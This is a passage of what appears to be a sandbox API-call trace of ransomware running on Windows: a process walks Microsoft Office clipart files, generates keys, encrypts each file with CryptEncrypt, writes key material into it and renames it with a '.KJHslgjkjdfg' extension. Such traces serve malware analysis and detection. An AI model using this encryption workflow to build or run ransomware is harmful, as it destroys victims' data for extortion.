(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.443] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.443] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0194.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.445] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.445] GetProcessHeap () returned 0x2ef0000 [0194.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.446] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.446] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.446] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.446] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.446] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.446] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x752, lpOverlapped=0x0) returned 1 [0194.446] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x760, dwBufLen=0x760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x760) returned 1 [0194.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.447] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x760, lpOverlapped=0x0) returned 1 [0194.447] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.447] SetEndOfFile (hFile=0x130) returned 1 [0194.449] GetProcessHeap () returned 0x2ef0000 [0194.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.449] GetProcessHeap () returned 0x2ef0000 [0194.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.kjhslgjkjdfg")) returned 1 [0194.450] CloseHandle (hObject=0x130) returned 1 [0194.450] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0194.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.451] GetProcessHeap () returned 0x2ef0000 [0194.451] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.451] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.454] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.455] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.455] GetProcessHeap () returned 0x2ef0000 [0194.455] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.455] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.455] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.455] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.455] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.455] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.455] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.455] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.455] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.455] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.456] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf6c, lpOverlapped=0x0) returned 1 [0194.456] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf70, dwBufLen=0xf70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf70) returned 1 [0194.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.456] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf70, lpOverlapped=0x0) returned 1 [0194.456] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.456] SetEndOfFile (hFile=0x130) returned 1 [0194.457] GetProcessHeap () returned 0x2ef0000 [0194.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.457] GetProcessHeap () returned 0x2ef0000 [0194.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.kjhslgjkjdfg")) returned 1 [0194.458] CloseHandle (hObject=0x130) returned 1 [0194.458] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0194.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.459] GetProcessHeap () returned 0x2ef0000 [0194.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.459] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0194.466] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.466] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.466] GetProcessHeap () returned 0x2ef0000 [0194.466] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.466] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.467] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.467] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.467] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x292a, lpOverlapped=0x0) returned 1 [0194.468] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2930, dwBufLen=0x2930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2930) returned 1 [0194.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.468] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2930, lpOverlapped=0x0) returned 1 [0194.468] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.468] SetEndOfFile (hFile=0x130) returned 1 [0194.471] GetProcessHeap () returned 0x2ef0000 [0194.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.471] GetProcessHeap () returned 0x2ef0000 [0194.471] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.kjhslgjkjdfg")) returned 1 [0194.472] CloseHandle (hObject=0x130) returned 1 [0194.472] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0194.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.473] GetProcessHeap () returned 0x2ef0000 [0194.473] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.473] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.473] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.476] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.476] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.476] GetProcessHeap () returned 0x2ef0000 [0194.476] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.476] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.476] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.477] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.477] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.477] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x108c, lpOverlapped=0x0) returned 1 [0194.478] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090, dwBufLen=0x1090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090) returned 1 [0194.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.478] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1090, lpOverlapped=0x0) returned 1 [0194.478] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.478] SetEndOfFile (hFile=0x130) returned 1 [0194.481] GetProcessHeap () returned 0x2ef0000 [0194.481] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.481] GetProcessHeap () returned 0x2ef0000 [0194.481] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.kjhslgjkjdfg")) returned 1 [0194.482] CloseHandle (hObject=0x130) returned 1 [0194.482] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0194.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.483] GetProcessHeap () returned 0x2ef0000 [0194.483] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.483] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.483] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0194.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.486] GetProcessHeap () returned 0x2ef0000 [0194.486] 